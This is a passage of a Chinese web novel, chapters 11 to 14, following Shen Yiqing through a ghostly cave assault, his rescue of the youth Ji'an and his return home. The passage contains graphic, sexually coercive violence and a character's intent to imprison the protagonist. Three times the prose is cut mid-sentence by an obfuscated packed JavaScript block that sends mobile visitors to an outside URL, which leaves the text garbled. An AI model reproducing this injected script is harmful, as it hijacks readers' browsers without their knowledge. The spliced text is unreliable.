“走吧,该去接他回来了。”他唇齿轻启,话语落时,后背的黑红锦缎骤然撕裂,裂帛声混着罡风炸开。
两道巨大的黑影破体而出,翅骨舒展间带着沉猛的力道,层层叠叠的羽片擦过空气,撞出一阵破空的低响。
11. 恶鬼
山洞深处氤氲着清润的潮气,水滴从钟乳石的缝隙间渗漏,恰好落在中央那张通体泛着淡蓝光晕的玉床上。
玉床往上静卧着一阖紧双目的人,一头长发犹如银河,完全铺散在床面。那人唇瓣却无半分血色,与那过于苍白的肌肤融为一体,白得近乎透明,仿佛褪去了活人的气息,让人难辨他是沉眠未醒,还是早已没了生机。
身上一袭红色交领纱裙显得格外鲜艳,领口半敞,露着纤细的锁骨,颈处系着一根鲜红的坠羽细线。下半身的纱料更是薄如蝉翼,仅一层轻绡裹着,风一吹就贴在腿上。
沈沂清是冷醒的。
从玉床上坐起,瞧清身上这堪称“伤风败俗”四个大字的打扮,比困惑先来的是两眼一黑,紧接着瞥见手边的发丝,不可置信地将其抓过放在眼下,险些心梗过去。
我头发怎么全白了?
他摸了摸自己的脸,没有感受到明显的皱纹。
还有这是哪?他不是和蒋常他们待在一起吗,他们人呢?
啪嗒。
沈沂清感到发顶一凉,他下意识伸手,摸到略微粘稠的绿色液体,像极了他之前看到的藤汁。
他打量着液体滴落下来的地方,上方洞顶有一道巴掌大小的裂缝,碍于光线有限,看不清里面究竟有什么,只能看到一片极深的漆黑。
阴风卷着腐土味猛地灌进山洞,周围更暗了。
洞壁上渗出更多黏腻的绿水,缓缓凝聚成一道成人高的鬼影。它没有脸,只有一团模糊的青黑轮廓,长发黏着暗红血污垂到地面。没有脚步声,像一滩烂泥贴着地面滑过来。
沈沂清一扭头,那身影便如鬼魅般悄无声息地立在那里。
他看不清对方的面容,只觉那道轮廓透着刺骨的冷意。没等他反应,对方再次逼近,带着黏腻的气息缠了上来,像条蓄势待发的毒蛇。
“你带我来这……”沈沂清倏然止住话头,感到全身都僵硬得动弹不了了,甚至连呼吸的频率都像是被人掌控在手中,没法汲取更多空气,却又维持在不至于窒息的程度。
一股凉意爬上了他的脚踝,让他浑身汗毛倒竖。凉且白的手指分开他的腿,狎昵地抚摸上来,最后指腹压在他左腿的疤上才停住。
很神奇,沈沂清看不清对方,却莫名能察觉到对方眼底翻涌着灼人的光和兴奋。
那是久旱逢甘霖的贪婪,又裹着近乎疯狂的偏执,一寸寸描摹着猎物的轮廓,连呼吸都带着压抑的急促,早已宣判猎物的归属。
这不知道从哪找来的纱裙穿在身上本就松垮,下摆叫人勾拽了一下,轻易就滑到沈沂清的手肘。
“清清,你不是已经嫁于我了么?”对方的下巴贴着皮肤枕在沈沂清的肩头,低沉的嗓音带着些微的沙哑,一遍遍在耳边回响。
“为什么还要离开?为什么丢下我……为什么……为什么……”
身体越是无法动弹,感官就越是清晰。质问声裹着怨毒,压得沈沂清几乎喘不过气,那种深深的无力感又来了。
“清清,清清……”
“你会留下来的对吗,会一直留在我身边……”
什么丢下什么留下的?这都说的什么乱七八糟的话。
沈沂清严重怀疑自己这是被爱而不得的恶鬼缠身了,还是个变态男鬼。
正心神纷乱间,一阵诡异的吞咽声传入耳中,急促又沉闷,那人竟不知何时伏到了他的腿上。
他眼下视线受阻,只看得见对方的头颅近在咫尺,额前细碎的黑发抵着自己腰腹,被挤压得凌乱蜷曲。
这家伙在做什么?
沈沂清忍不住好奇,但很快他就没有心思去考虑这些东西了。
疼疼疼疼疼,好疼!
一阵尖锐的刺痛骤然袭来,顺着骨缝直窜四肢百骸,带来难以忍受的不适感。他的脑中变得一片空白,连神智都无法凝聚,指尖紧紧攥起,掌心也渗出一层冷汗。
便是在这剧痛之中,周身紧绷的束缚感忽然松脱。
他终于可以动了。
求生的念头压倒了一切,他几乎没有迟疑,用力将身前的人推开。
若不是腿上的痛感几乎让他支撑不住,他绝不会轻易放过对方。
可当他低头看清眼前的一幕时,整个人再次僵在原地。
对方竟在撕咬他腿上的肌肤与血肉!
沈沂清余光瞥见对方齿间衔着块暗红生肉,肌理上还挂着直淌的血水,浓重的腥膻气直钻鼻腔,胃里瞬间翻江倒海。他猛地偏过头,一阵剧烈的干呕不受控制地冲上来,酸水呛得喉咙发痛。
还没等他缓过那阵生理性的恶心,对方已跨步上前,带着一身冷冽的血腥气将他推倒在冰凉的玉床上。
后背撞上玉石的同时,他也看清对方指尖那异于常人的长甲,尖端锋利得像锤炼过的匕首。
强烈的危险感犹如藤蔓缠住心脏,促使沈沂清奋力挣扎起来,膝盖拼命向上顶,却只换来对方更紧的压制。
空气里的血腥味越来越浓,熏得他胃部绞痛难忍,腿部的伤口还在汩汩流着血,温热的液体顺着玉床的纹路蜿蜒而下,在洁白的玉石上晕开一大片刺目的红。
忽然那只沾满鲜红血渍的手探进他的纱裙,带着黏腻的触感抚上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521285|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的腹部,力道逐渐加重,仿佛下一秒就要穿透皮肉,直抵脏腑。
沈沂清敛下眉眼,盯着那只手,瞳孔猝然一缩。
-
再醒来的时候沈沂清浑身酸软,身体好一会都提不上力气。
良久,他勉强用手肘撑着地面起身,感觉自己像是被谁一脚踹进河里飘了三天三夜,骨头缝都泡酥软了,能够坐着都已经是极限。
身上还是他从山神祠离开时穿的那条釉蓝色裙子,又检查了一下头发和腿,一切都没有变化,这才确信自己又做了梦。
这些时日总是如此,各种奇怪的梦境,做的次数多了,恍惚间沈沂清都有点不太能分清现实与虚假。
难道真是沾上了什么脏东西?
眼前也是一处山洞,却不是沈沂清先前和蒋常他们所待的山洞,这里地形更为开阔,洞顶破开一道巨口,抬眼可以直接看见悬在苍穹的月亮。银辉从那豁口进下,在地上投出一方亮斑。
像爬不出去的囚牢,沈沂清想。
记忆最后停留在小溪边,他失去意识前好像还听到了巨大的响声,也不知道和蒋常他们有没有关系,现在怎么样了。
他的身上没有一处伤口,但一眼望去,距离他最近的出口就是头顶那道豁口,十之八九他就是从那里进来的。
坐着还是好累,沈沂清又倒回去,在地上躺了一会,确定五脏六腑没有受损,自己真的不会死后才从地上爬了起来,试图寻找其他的出口。
脚下的碎石被踩得发出轻响,身后的光亮一点点淡去,离那豁口愈远,光线便愈稀薄,先是辨不清周围石壁的纹路,再是连身前半尺的路都蒙着一层灰影。
视线沉在模糊的昏暗中,叫人每一步都不敢妄动。
沈沂清只得伸出手,掌心贴住冰凉粗糙的石壁,指腹摩挲着凹凸的岩棱,借着这一点实感慢慢挪步,生怕脚下踩空,坠进不知深浅的暗道里。
更浓的黑暗裹上来,呼吸都似浸在冷意中,眼前的能见度几乎压到零,只剩一片浓得化不开的黑。就在沈沂清指尖触到一块凹陷的岩面,发现前面没有路时,右侧又忽然撞进一点细如星子的微光。
沈沂清立刻调转方向往那边去,好在这一路十分顺利。
甫一出洞口,扑面的风裹着草木气撞在脸上,刚从黑暗里挣出来的眼还带着涩意,脚下便踉跄着绊到了什么。
低头望去,少年蜷在坡下的乱草间,青布衣衫被剐得破烂,肩头、膝头的伤口翻着红,渗出来的血晕湿了周遭的枯草,气息微弱得像风中残烛。
……寄安?
他怎么会在这?
12. 耐心
参天古木的枝桠交错着遮天蔽日,齐腰深的野草杂着藤蔓缠络交错,周围连一丝人烟的踪迹都寻不到。
沈沂清警惕地看着出现在这不省人事的少年,最终还是走上去将人扶起,再次进入山洞。
寄安意识回笼时,最先撞进眼里的是一簇跃动的暖火,橘红的光焰舔着枯枝,将周遭的昏暗烘得软暖,草木的清苦里混着淡淡的草药香,缠在鼻尖。
他动了动指尖,浑身的钝痛还在,却不复先前的刺骨,抬手触到肩头,釉蓝色的布料层层绕着,妥帖又紧实,连膝头的伤处也被人仔细处理过。
沈沂清双手捧着一片绿叶进来,见他醒了,让他先把上面的浆果吃了,“这附近找不到干净水源,渴的话先暂时吃这个吧。”
又问他为什么会出现在这里,还受了这么重的伤。但凡沈沂清再晚发现一会,对方指不定今夜就要交代在这里。
寄安一条腿摔断了,只能在沈沂清的帮助下才能坐起,闻言,露出自责又懊恼的神情,开口第一句就是向沈沂清道歉:“对不起哥哥。”
沈沂清似乎猜到什么,毕竟相处的短短两日里,他已经听到过太多次这样的话。
果不其然,寄安接下来说:“我本来想在你离开之前,再去为你采一些你要的那种草药回来,但晚上实在太黑了,我没有看清路摔了一跤,然后就失去了意识,等再醒来就是现在了。”
少年的话听起来滴水不漏,似乎没有任何问题,沈沂清却总觉得哪里怪怪的。
对方在山中长大,应该最清楚到了夜晚的危险性,就连他第一晚返回山神祠,对沈沂清说的都是因为外面太黑太害怕,为什么到了第二晚就敢孤身一人出去采草药了?
只是不待沈沂清进一步试探,寄安就剧烈咳嗽了起来,嘴里吐出一口血沫,面色比起刚才更显苍白,膝头的伤也因动作起伏而再次裂开渗血。
沈沂清只好将疑惑暂时搁置,又从裙子上扯了一截布料下来帮他止住血,重新把了脉,脉象虚浮而促,寸口脉涩。
“你身上有多处摔伤,坠落时胸腑受创,肺络已裂。我已经帮你止住溢血,但筋骨伤处还需每日换药,不可再妄动,否则你这条腿今后都别想再正常使用了。”
少年听话地点头,抬眼看见沈沂清身上那条短了一截的釉蓝色裙子,下摆堪堪遮到两段莹白纤细的小腿,肤色在火光里泛着淡淡的暖,衬得脚踝那点浅淡的青痕都格外惹眼。
-
外边天光稍微亮了一些,沈沂清探了下少年的额心,没有发热,只是嘴唇干裂得起皮,叮嘱他在这里待着别乱动,自己出去给他找草药和水。
寄安一听他要走,连忙提出:“我和你一起去。”
沈沂清好笑道:“你都伤成这样了还怎么和我一起去?别忘了现在最需要休息的就是你。”
最后还是一个人出了山洞。
几个时辰过去,面前的焰头渐渐矮下去,只剩零碎火星跳着,洞里的暖意一点点褪成凉。
少年靠在石壁上,指尖反复摩挲着臂间那截撕裙做成的绷带。一个时辰,两个时辰……外头的林影晃了又晃,始终没等来那道熟悉的身影,风卷着草叶擦过洞口的声响,都成了扰人的聒噪。
耐心一点点被磨碎,他望着空无一人的洞口,唇线绷得死紧。
是不是从一开始就做错了,不应该这样步步试探着靠近,反倒给了人逃跑的机会,他就应该那天晚上便将人绑起来,直接带回去锁在身边。
这荒林野地,若成功脱了身,又怎会回头管他一个身受重伤的人?
火堆里最后一点火星也灭了,寄安指尖猛地攥紧,骨节泛白。
抓回来,不该再让他走……
他刚从地上站起来,洞口传来了责怪的声音:“乱动什么,不是说了让你好好躺着等我。”
沈沂清快步上前,放下东西后将人按回去,不悦道:“你这伤要是养不好,还怎么和我回去。”
寄安一愣,“哥哥要带我回去?”
想到什么,那点希冀又被覆盖下去,“山神祠吗?”
“你还想回到那里?”沈沂清反问,将采摘来的草药捣成泥,说:“山上生活挺辛苦的,想必你这些年的日子也不容易。要是愿意的话,你就和我一起走吧,反正添张吃饭的嘴而已,府上能负担得起。”
他将用几片树叶制成的圆筒递给少年,里面装着清透干净的水,同时解开缠在对方腿上的布条,将新捣好的药泥均匀涂抹上去,仍旧是从裙摆扯下几段固定住。
做完这些,察觉到少年从刚才起就一直看着自己却不说话,他问了句:“怎么了?是不是我绑的太紧了?”
寄安摇头,若无其事地收回了目光。
白日出去的时候沈沂清就顺便观察了附近情况,目之所及皆是连绵青山,壁立如仞,将这方天地围得密不透风。爬,是绝无可能的,崖壁光滑无依,稍不留意便会摔得粉身碎骨;走,又寻不到半分出口的痕迹,四下只有荒草密林,连条像样的路都没有。
沈沂清从袖口里摸出一小截竹子。
好在这个东西还在身上,除了休息,他每隔一个时辰就会尝试吹响竹哨,这样如果蒋常他们听到,就能发现他们的位置。
只是不知道究竟要等到什么时候。
夜沉如山,山洞里只剩火堆余烬跳着微弱的暖光,将周遭映得影影绰绰。沈沂清今晚上睡得沉,想必是这段时间累极了,连洞外的雨声都没有将他吵醒,颊边还沾着一点生火时蹭上的灰屑。
寄安悄无声息地坐起身,后背抵着冰凉石壁,目光凝在旁边青年的脸上,只静静看着,连呼吸都放得极轻。
清清今天居然说要带他回去……
原来清清喜欢这样的,喜欢被人依赖,若是一直这样受着伤,是不是就能让清清永远留在他身边?
-
这种相依为命的日子又过了几日,少年的恢复能力很强,除了伤得最重的腿,其他基本已经见好。
沈沂清一边替对方掖好盖在腿上的布巾,一边暗忖着明日要再往林子深处探探,不能一直坐以待毙,总得寻条法子带两人出去。
下午,他惯常出去周边寻找食物,从他离开山洞起,便有一只墨羽鸟始终跟着他。沈沂清也是偶然间抬头发现的,觉得天上盘旋的那只鸟,很像之前抢走他盖头的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521286|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只。
但当时天太黑,而且山里的鸟都长得差不多,他也不能完全笃定。找够食物准备返回时,面前的灌木丛沙沙动了起来。
密叶层层叠叠,沈沂清只能隐约看到一点混在众多绿色中突兀的黑,却无法判断后面具体是什么。
依照引起的动静来看,这东西的体型肯定不小,极有可能是食肉一类的猛兽。
沈沂清从袖中抽出骨簪,双手握住直指前方,警惕地看着灌木,同时放轻步子朝后退去。
……
山洞口,两人站在一起说着话,语气熟稔,那点自然而然的亲近刺得另一人眼热,却仍要维持着伤患的模样,靠在石壁上动弹不得,只能眼睁睁看着,连上前半步都不行。
那点“愿意一直受伤”的心思早就烟消云散,心底只剩一股郁气。
沈沂清也没想到遇到的会是蒋常,问:“其他人怎么样了?”
蒋常将之前山洞坍塌的事情告诉了他,“有两个人到现在还没有找到,剩下的人里除了一个受伤比较严重,已经被带下山治疗,其余都无大碍,一半跟着我出来找您,一半则留在山洞附近继续搜寻。”
说着,注意到沈沂清颈子后面有一片红痕,像是被什么吮咬出来的,他便直接问出了口。
“脖子?”沈沂清抬起手,不解地摸向自己颈后,自然是什么都没摸出来,只感觉到些许涩痛。
蒋常上前一步,正准备为他检查,角落里倏地窜出一条青蛇打断他的动作。
蒋常的速度极快,立刻拔剑将沈沂清护在身后。
他认出这是一条毒蛇,它在看到剑光时迅速游走了,蒋常的脸色却并未变得好看多少,连忙去追问沈沂清这些时日可有被蛇咬伤。
沈沂清摇头。在对方出现之前,他和寄安待在这的这段时间里,压根就没见过蛇,甚至蚊虫都没有一只,也省了他再费心思去制作驱虫避蛇的药粉。
蒋常蹙起眉头,总觉得哪里有古怪。
“公子,我们先尽快离开这里吧。”
“好。”
有了蒋常带路,出去变得轻松许多。
寄安的腿还无法支撑独立行走,一路上主要是由蒋常帮忙搀扶。
行至半路,一只墨羽飞鸟自三人头顶盘旋数匝,振翅落于少年肩头,羽翅轻颤着蹭了蹭他的颈侧。
少年用空出的那只手抚过鸟背柔滑的羽毛,唇角弯起浅弧,语声带了点笑:“你看到了吗,清清又救了我一次。”
话音落,他抬眼扫向身侧高大的男人,仗着那人听不懂这异族言语,肆无忌惮:“真是碍眼,要不要再杀一次呢?”
蒋常警惕地觉察对方看了自己一眼,转过头去,却只撞见少年垂眸,指尖轻揉着墨鸟的羽冠,正专注同鸟儿低语,方才的视线竟像他的错觉。
一旁的沈沂清瞧着这一幕,忍不住问:“你能和它沟通?”
寄安抬眼,眼底的凉薄尽数敛去,只剩温和。他摇了摇头:“不能哦。”
“只是听闻这山中灵鸟通人性,想到最近发生的事情,我便用母亲教的语言试着向它们祈个平安罢了。”
“哥哥要试试吗?”
13. 翎侣
一路上道路并不崎岖,就是需要绕路的地方比较多。
半个时辰后,他们成功与其他同样正在寻找沈沂清的侍卫们汇合。蒋常将少年交给其他人,取出事先准备好的衣裳和新面纱一块交给沈沂清。
终于换回自己的衣裳,沈沂清身上也轻松了许多。
几人顺利离开南隰山,在镇口遇见一家茶寮,考虑到沈沂清的腿,蒋常主动提出歇息一下。
沈沂清确实感觉到双腿有些力不从心,都已经到这了,便不再逞强。
刚歇下脚,一碗粗茶还没呷到一半,就被一阵撕心裂肺的哭声撞进耳里。
那哭声是个妇人的,混着孩童微弱的哼唧,悲切得让茶寮里的闲客纷纷侧目。
沈沂清起身,循着声音走过去。
老槐树下,一个荆钗布裙的妇人瘫坐在地,怀里紧紧抱着个约莫五六岁的男童。男童双目紧闭,小脸烧得通红,嘴唇却泛着青黑,嘴角还挂着未干的涎水,气息微弱得像缕游丝。
“孩子这是怎么了?” 沈沂清蹲下身,声音温和。
妇人泪眼婆娑地抬头,见他虽然戴着面纱看不全样貌,但气质清隽,身后跟着两个佩剑的侍卫,不像是寻常路人,哽咽着回话:“今早还好好的,吃了碗杂粮粥,没半个时辰就喊肚子疼,接着就晕过去了…… 郎中来看过,只说是中了邪祟,开了符水,没成想这喝了非但不见好转,反倒更糟了……”
“来,让我看看。”沈沂清伸手探向孩童的腕脉,指尖触到的脉象浮数而乱,又掀开孩童的眼皮,见眼白布满红丝,再掰开他的嘴,一股淡淡的霉味混着浊气扑面而来。
他心中了然,抬头问妇人:“你家吃的米,可否出现与寻常不同的异样?”
妇人一愣,连连点头:“那米看着发暗,还有点潮味,但毕竟是花钱买来的,舍不得就那么扔了,想着晒一晒也能吃,哪知道……”
“不是邪祟,是粮毒。” 沈沈沂清一语道破,“霉米里藏着毒邪,入了肠胃,郁而化热,再侵心肺,耽搁不得。”
妇人一听,扑通就跪了下去:“公子救救我的孩儿!求求你了!”
“你先起来。” 沈沂清扶起妇人,转头对身后的侍卫吩咐:“速去最近的的药铺抓几味药回来 ,甘草三钱,绿豆五钱,陈皮二钱,紫苏叶二钱,生山楂三钱,再加半块生姜。记住要新晒的紫苏,陈皮得是三年陈的,缺一不可。”
侍卫应声就要走,沈沂清又补了句:“让药铺捣碎成粗末,再带一壶煮沸的井水过来。”
侍卫领命,飞身往镇里去。
茶寮外的闲客围了一圈,有人窃窃私语,说这陌生人怕是江湖郎中,不知道可不可信,也有人劝妇人别病急乱投医。
沈沂清充耳不闻,让妇人将孩子平放在对面的树荫下。
约莫一刻钟的功夫,侍卫就提着药包和水壶回来了。沈沂清接过药末,与热水一块倒入茶碗中,搅匀后让妇人扶着孩子的头,小心翼翼地将药汤一勺一勺喂进去。
药汤入喉,不过半炷香的功夫,昏迷着的男童突然咳嗽了几声,呕出几口酸腐的黄水,紧接着眼皮动了动,缓缓睁开眼。
“娘……” 男童的声音细若蚊蚋,却让妇人瞬间红了眼眶,喜极而泣。
“哎,娘在这呢……”
沈沂清松了口气,又叮嘱妇人:“回去后用绿豆和甘草煮水,让孩子连喝三日清余毒。至于那些霉米,全烧了吧,万万不可再吃。”
妇人抱着醒过来的孩子,又要下跪,却被沈沂清及时拦住,让蒋常拿了些碎银给他们后转身走向茶寮,端起那碗早已凉透的粗茶饮了一半。
“哥哥还懂医术?”寄安好奇地问,早就将方才那一切尽收眼底。
阳光透过槐树叶的缝隙,落在沈沂清的肩头,温和而沉静,“不会啊,我这几日给你敷都是毒草,喂的也都是毒药。”
寄安像是真被吓到,“真的吗?不过哥哥那么厉害,一定会赶在药效发作之前救我的吧?”
沈沂清被他的夸张逗笑,让他别贫嘴了。
休息好后,几人直往沈府去。
蒋常本以为沈沂清只打算将这名少年带到绥灵镇,却没想到对方还决定带回沈府。
他再也无法像在山上时那么淡定,眉头拧成一团,满脸错愕与不解:“还请公子慎重,这孩子并不像表面看起来那么简单,来历也尚未查清真伪,贸然带回去兴许会养虎为患。”
沈沂清并不迟钝,他比蒋常更早发现寄安的不对劲,很多事情实在太过巧合,只是没有拆穿罢了。
“我知道他的来历不能全信,但他若真是十恶不赦之人,我替他担着,绝不轻饶。”他说这句话时,一只墨羽鸟就盘旋在两人上方天空。
蒋常不懂公子为何偏要信那少年,还想再劝,沈沂清却不想再继续这个话题了。
“好了,此事不必再说,我留下他自是有我的用意。”
闻言,蒋常也只得选择相信。
临近沈府,沈沂清想起件事来,“他在山上见过我穿嫁衣的样子,但我并未告诉他我是去替嫁。”
蒋常听懂了沈沂清的言外之意,发誓会守口如瓶。
结果刚到沈府大门前,这件事就被捅破了。
沈府的大门一打开,陆柱噙着泪跑上来,一会哭诉这段时间对沈沂清去替嫁的担忧,一会抱怨他不带上自己,是不是自己不值得信任了。
沈沂清听着头疼,没办法只好先哄哄这个和自己一块长大的小厮,“我不告诉你不是因为不信任你,只是不想你跟着我一块去冒险。”
陆柱坚定道:“无论少爷去哪,想要做什么,陆柱都愿意跟着,哪怕是上刀山下火海!”
等终于冷静下来,他才发现沈沂清带了个人回来,后知后觉自己闯了祸,有些不知所措地看向沈沂清,紧张自己刚才那一番表现会不会坏了对方的事。
沈沂清却没有苛责什么,只是没想到会暴露的那么快,有些无奈地想这下面子又不保了。
他一个大男人跑去当别人的新娘。
“原来哥哥那日是要嫁给山神。”寄安十分惊讶,问:“哥哥现在跑了,就不怕山神发现后怪罪下来吗?”
对此沈沂清还真的不怕,“我不信这世上真有山神。再说了,我如今已经下山,他不会再有机会知道我就是那日的新娘。”
-
夜间,陆柱像往常一样帮沈沂清准备沐身所需的热水,在对方褪下外衣后,注意到沈沂清颈间多出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521287|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一条翎羽项链。
在这之前他没有见沈沂清戴过,于是多嘴问了句,“少爷这项链真好看,是新买的吗?”
沈沂清只嗯了一声,没有多说,见陆柱一直盯着这片翎羽发呆,直接问:“怎么了?”
“嗯……我也是在书上看到的,说有个神秘的种族叫做羽族,他们有一个古老的习俗,若是喜欢谁,就将身上最漂亮、最好的那根羽毛赠与对方……”陆柱声音逐渐变小,怕惹得沈沂清不悦,不太敢往下说了。
“后面呢?”沈沂清却不肯放过,“你继续说。”
陆柱这才将话说完:“羽族人都很珍视身上的羽毛,一旦收下,这人一辈子就都是那个羽族的伴侣了,所以羽族人又将这叫做翎侣。”
只要能做好分内的事,沈府对底下的人并不会过分限制,就比如允许陆柱进入书房看一些志怪类的书籍。
现在很少有人佩戴翎羽项链,或许是觉得过于廉价,不如那些玉石拿得出手,又或许是无法评估哪一根羽毛才算得上最漂亮、最好的。总之,这也是陆柱第一次瞧见有人戴着它,联系自己之前在书上看过的内容,所以才忍不住多瞧几眼。
他发现,少爷这片翎羽虽然不到巴掌大小,通体黑沉得纯粹,可一旦遇上光线,这层墨色便骤然活了过来,羽面泛起紫、蓝、绿交织的金属光泽,像最丝滑的绸缎顺着羽纹流动。
说完,见自家少爷神情似乎变得不太对,连忙找补道:“不过这些都是书上乱写的,少爷不用太放在心上。何况镇上这几百年来也从没出现过羽族人,兴许压根就不存在,倒是有不少姑娘喜欢这个浪漫的做法,会亲手做个带有翎羽的坠子送给心上人。”
沈沂清又是“嗯”了一声,只是这回视线多在羽片上停留了一会。
这东西总归不是他的,还不知道具体有什么用处,沈沂清思来想去,未免夜长梦多,还是决定想办法给它取下来。
他找了一把剪子,是他惯用来修剪院内花枝的一把,锋利程度自然不必说。
冰凉的刃口抵在颈间翎羽项链的细绳处,他狠下心合紧剪柄,刃口狠狠咬上绳身,预想的断裂感没传来,反倒剪子被弹开些许。
沈沂清不信邪,又换了一个地方,反复绞剪,可那细绳仍纹丝不动,甚至连道划痕都没留下。
他垂眼盯着那截异常顽固的细绳,剪子悬在半空,指尖的力道松了又紧。
这到底是什么东西做的?
……
接下来两日,沈沂清几乎都在陪姜慧蓉。
母亲自他上山这些天一直忧心地挂念着,尤其在从蒋常那里得知对方失踪后,惊得当场晕死过去一回。
沈沂清发现母亲明显憔悴了许多,内心很是自责,想方设法让人开心。
“对不起阿娘,这些时日叫您替我担心了。”
姜慧蓉握着他的手,笑着哽咽:“平安回来就好,回来就好……”
同时沈沂清也收到探子来信,是他专门派出去跟着沈青晚的,每隔一段时日便会向他汇报,得知晚晚那边一切安好,已经顺利抵达鄂阳,这才暂时放心。
私下里,他又另外让蒋常悄悄带一支人上山搜山,尽量别打草惊蛇,要是发现可疑的人立刻回来告诉他。
14. 起疑
沈沂清将寄安带回来后,让陆柱替他安排了住处。这些天因为比较忙也疏于去关心,等他再见到对方时,少年正提着一大桶水,在他院内帮忙浇花。
他站着看了一会,少年干起活来动作干净利索,就是那桶水满了些,提着往前走时只是轻微一晃,便洒出来许多,大片衣摆和半只鞋面都湿了。
他放下水桶,低着头看湿掉的地方,显得有些茫然无措。
衣裳也是陆柱帮他找来的,不再是原来那套补丁摞补丁的,但也有着明显被人穿过的痕迹。
“浇花的事情已经有安排更合适的人在做了。”
少年一听,发现来人是沈沂清,抬起的双眼更可怜了,“哥哥再给我一次机会吧,我一定可以做好的。”
“我的意思是,你不用做这些。”沈沂清想了想,“你若是愿意的话,我的屋里倒是还缺一个研磨倒茶的。”
“不过你现在还有更重要的事情要做,先随我出去一趟。”
少年听话地跟他出了府,等到地方,才发现沈沂清是带他到镇上的成衣铺试衣服。
沈沂清心说既然将人带回府上了,总不能让他连身好衣裳都穿不上,正好他今日较为空闲。
想到顺路还能再买些其他东西回去,他这趟出来还带了陆柱一起。
“这套看着还不错,试试吧,要是有不合身的地方再让他们改。”沈沂清将手里衣服递过去,接着又拿了几套瞧着也不错的,让他一块带到后面内间去试。
这家铺子沈沂清经常来,老板认得他的声音和他身边的小厮陆柱,见他带人来,热情地招待,还叫了个人去后面伺候少年更衣。
“少爷,这试衣服还要一会,您先坐会儿歇歇。” 陆柱搬来一张圈椅,贴心地放上软垫 。
沈沂清头上的幂篱未曾取下,青纱垂落,遮住了大半张脸。
试了第一套,尺寸刚好合身,寄安听到沈沂清说他穿这身好看,忍不住笑了,衬得整个人更有少年气。
自己果然没有看错人,沈沂清想,这副长相轻易就能招人喜欢。
在寄安进去试下一套时,铺子外传来一阵喧哗,脚步声杂乱,伴着几句轻佻的笑骂。沈沂清听得眉头微蹙,见几个衣着华贵的公子哥簇拥着一个满脸横肉的男人走了进来。
那男人是镇上有名的恶霸陈顺,他姐姐嫁了当地知县做小,恩宠却一度胜过正妻,还给陈顺安排了事做,平日里没少仗着关系横行霸道,欺压百姓。
陈顺起初没认出戴着幂篱的沈沂清,直至目光扫过一旁的陆柱,顿时眯起了眼。
陆柱跟着沈沂清多年,陈顺自然是认得,由此确定了沈沂清的身份。
他几步上前,居高临下地盯着沈沂清,语气带着毫不掩饰的讥讽:“哟,这不是沈大公子吗?怎么出门还戴着这娘们唧唧的玩意儿,是怕人瞧见你那张丑脸,还是怕人认出后笑话你这瘸腿啊?”
身后的公子哥们跟着哄笑起来,污言秽语不堪入耳:“听说当年被陈哥打得爬不起来,腿就废了,如今连路都走不稳,居然还敢出来抛头露面?”
“遮着也没用,谁不知道沈大公子是个不中用的瘸子啊!”
陆柱到底年纪小,听见这些摆明造谣的话,气得脸色涨红,攥紧了拳头就要上前理论,却被沈沂清叫住。
他声音慢条斯理,浑不在意道:“陆柱,别冲动。”
陈顺见他这般模样,更觉沈沂清是怕了自己,扬起下巴嗤笑一声:“怎么?不敢应声?也是,沈府前些日子刚将你那宝贝妹妹送出去,现在是生是死都不知晓,想必你心里肯定不是滋味吧。”
说着,他伸出手就要去扯沈沂清头上的幂篱,“让爷瞧瞧,这么多年过去了,你这张脸是不是更丑了!”
只是不等碰到沈沂清,他的手就呈现出一种扭曲的怪异姿势,毫无防备地被人踹了一脚,腹部骤然凹陷下去。
这一脚力道极大,陈顺近两百斤的人竟被踹得连连后退,“咚” 地一声撞在架子上,绫罗绸缎散落一地。
沈沂清也愣住了,青纱后的眸子满是错愕,看着站在面前的人。
少年已经换好衣裳,一身藏青无袖袍衫叠着月白交领内衫,墨色腰封束出清瘦却挺拔的腰身,乌发未冠,只随意用根红色发带扎着。看起来手法并不娴熟,还有几缕碎发垂在外边。
从沈沂清这个角度看过去,对方脊背挺得笔直,周身少年意气混着股江湖的洒脱,完全不似第一次在南隰山上遇见时那样狼狈又可怜。
难怪都说人靠衣装马靠鞍。
只是他总觉得对方头上那根红色发带有些眼熟,却又说不上来在哪见过,等他想再看两眼时,陈顺缓过劲来,又疼又怒,指着寄安吼道:“小兔崽子,敢打老子!”
“给我上,把他往死里打!”
几个公子哥立刻围了上来,寄安正要动手,手腕却被沈沂清紧紧抓住。
“他们人那么多,你真准备上去讨打不成。”
“快走!” 沈沂清低声道,拉着寄安转身就往外走。
寄安顺从地跟着他,回头时,眼底闪过一丝狠厉。
三人一路逃到僻静处,确认没人追赶才停下脚步。
